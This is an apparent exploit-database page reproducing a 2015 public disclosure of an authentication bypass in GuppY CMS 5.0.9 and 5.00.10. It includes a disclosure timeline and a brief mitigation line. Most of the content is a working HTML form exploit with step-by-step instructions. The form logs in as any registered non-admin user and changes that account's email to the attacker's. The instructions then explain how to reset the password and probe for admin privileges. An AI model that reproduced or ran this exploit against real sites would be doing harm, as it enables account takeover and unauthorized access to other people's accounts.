GuppY CMS 5.0.9 & 5.00.10 Authentication bypass/Change email

vendor:

Guppy CMS

by:

Brandon Murphy

7.5

CVSS

HIGH

Authentication Bypass/Change Email

287

CWE

Product Name: Guppy CMS

Affected Version From: 5.0.9

Affected Version To: 5.00.10

Patch Exists: YES

Related CWE: N/A

CPE: a:freeguppy:guppy_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7/Firefox & Xubuntu Linux 3.2.0-23-generic

2015

GuppY CMS 5.0.9 & 5.00.10 Authentication bypass/Change email

This exploit will automatically log you in and change the email to any registered user except for the admin that is installed with the web application. Click on 'Become a member' on the target website to insert the appropriate cookies for this to work. Once the exploit takes place proceed to click 'Modify' and change the password. To see if the user has some sort of admin privileges go to site.com/admin/ while still logged in. If they do it will say 'Vic_username, enter your password:' and login with the password you just changed it to.

Mitigation:

Ensure that authentication is properly implemented and that users are not able to bypass authentication.

Source

Exploit-DB raw data:

<!-- 
Exploit Title: GuppY CMS 5.0.9 & 5.00.10 Authentication bypass/Change email. Other versions may be vulnerable but weren't tested.
Date: 2/17/2015
Exploit Author: Brandon Murphy
Vendor Homepage: http://freeguppy.org
Software Link: Windows-5.00.10 https://www.freeguppy.org/dwnld.php?lng=en&delay=5&pg=255317&li=CeCILL
Version: 5.0.9 & 5.00.10
Tested on: Windows 7/Firefox & Xubuntu Linux 3.2.0-23-generic
Xubuntu - Guppy CMS 5.00.10 VM: http://mediafire.com/download/d85mgobb35mblzb/GUPPY5.0.7z Working on Virtualbox & VMWare Workstation - VM by d1ch4do
Username:xubuntu Pass:reverse

Timeline:
12/21/2014 Notified vendor of vulnerability.
12/21/2014 Vendor replied requesting information.
12/22/2014 Vendor notified of another vulnerability. Supplied both exploits/info.
12/23/2014 Vendor replied problem identified. I was told that I would be supplied with corrections when patch is ready.
12/23/2014 Acknowledged. Told vendor full disclosure will be released 45 days after patch release.
12/29/2014 Vendor releases 5.00.10. Countdown begins.
1/1/2015 Vendor notified the vulnerabilities still exist in patched version 5.00.10
1/2/2015 Vendor supplied with version 2 exploits.
2/17/2015 Public Disclosure. Was delayed due to holiday.

Exploit Description:
This exploit will automatically log you in and change the email to any registered user except for the admin that is installed with the web application.
Click on "Become a member" on the target website to insert the appropriate cookies for this to work.
Once the exploit takes place proceed to click "Modify" and change the password. To see if the user has some sort of admin privileges go to site.com/admin/ while still logged in. If they do it will say "Vic_username, enter your password:" and login with the password you just changed it to.

Disclaimer:
I cannot be held accountable for anything you do with this exploit. You take responsibility for your own actions. For educational and testing purposes only.
-->

<html> 
 <body bgcolor="#000000">
 <font face="arial" color="#01DF01" size="5">
 <center>
 GuppY CMS 5.0.9 & 5.00.10 Authentication bypass/Change email. Other versions may be vulnerable but weren't tested.<br>
 Stable with Firefox 34.0.5. Other browsers may be unstable or may not work.<br><br><br>
 Thanks: Fred, d1ch4do, & to all of the people who don't believe in me.<br>
 <a href="https://linkedin.com/in/brandonm86">My LinkedIn</a><br>-----------------------------------------------------------------------------------</font>
  <body>
    <form action="http://website.com/user.php?lng=en" method="POST"> <!-- Change this action to http://website.com/user.php?lng=en&uuser=new to work with 5.00.10. -->
      <input type="hidden" name="token" value="131095497e5f9d22882.83937400"/> <!-- Click on become a member. View the source then search for "token" and replace this value. Remove this line to work with 5.00.10 -->
      <input type="hidden" name="setusercookie" value="1"/>
      <input type="hidden" name="uuser" value="update"/> <!-- Wet paint. Don't touch! -->
      <input type="hidden" name="code_pseudo" value=""/>
      <input type="text" name="upseudo" value="Vic Username"/><br><br> <!-- User to login as. Can be any registered user with(out) special privileges. -->
      <input type="text" name="uuid" value="Password"/><br><br> <!-- Anything you like as you will change the password to what you want after the exploit succeeds. -->
      <input type="text" name="uuid2" value="Verify Password"/><br><br>
      <input type="text" name="uemail" value="Your Email"/><br><br><br> <!-- Email will be changed to the one you provide. -->
      <input type="hidden" name="uwebsite" value="http://"/>
      <input type="hidden" name="usign" value=""/>
      <input type="hidden" name="uimgsign" value="http://"/>
      <input type="hidden" name="ulang" value="en"/>
      <input type="hidden" name="udesign" value=""/>
      <input type="hidden" name="uboxes" value="LR"/>
      <input type="hidden" name="uextavatar" value="http://"/>
      <input type="submit" value="Enjoy the ride!"/></center>
    </form>
  </body>
</html>